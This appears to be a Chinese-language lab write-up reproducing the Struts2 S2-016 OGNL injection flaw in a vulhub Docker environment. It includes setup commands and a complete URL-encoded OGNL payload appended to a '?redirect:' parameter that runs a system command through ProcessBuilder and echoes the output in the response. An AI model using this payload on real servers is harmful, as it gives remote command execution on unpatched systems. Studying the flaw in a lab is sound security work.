影响范围

  • Struts 2.0.0 - 2.3.15

漏洞类型

OGNL 表达式注入

操作系统限制

配置要求

默认配置

漏洞利用

执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测

利用原理

在 Struts2 中,DefaultActionMapper 类支持以” action:”、” redirect:”、” redirectAction” 作为导航或重定向过滤,在这些前缀后面可以加入 OGNL 表达式,Struts2 没有对这些前缀做过滤,可以利用 OGNL 表达式调用 Java 静态方法执行任意系统命令

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-016
#拉取镜像
docker-compose up -d

1773316394891

访问 http://公网: 8080,出现 Hello world 即搭建成功

1773316436796

用 burpsuite 抓取 http://公网: 8080/index.action 数据包

1773316494758

发送到 Repeater 模块

1773316540251
在 action 后添加 payload,括号已经经过 url 编码

1
?redirect:%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'id'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3D(new%20java.io.InputStreamReader(%23b))%2C%23d%3D(new%20java.io.BufferedReader(%23c))%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

1773316578390

发送后页面出现 id 结果

1773316617088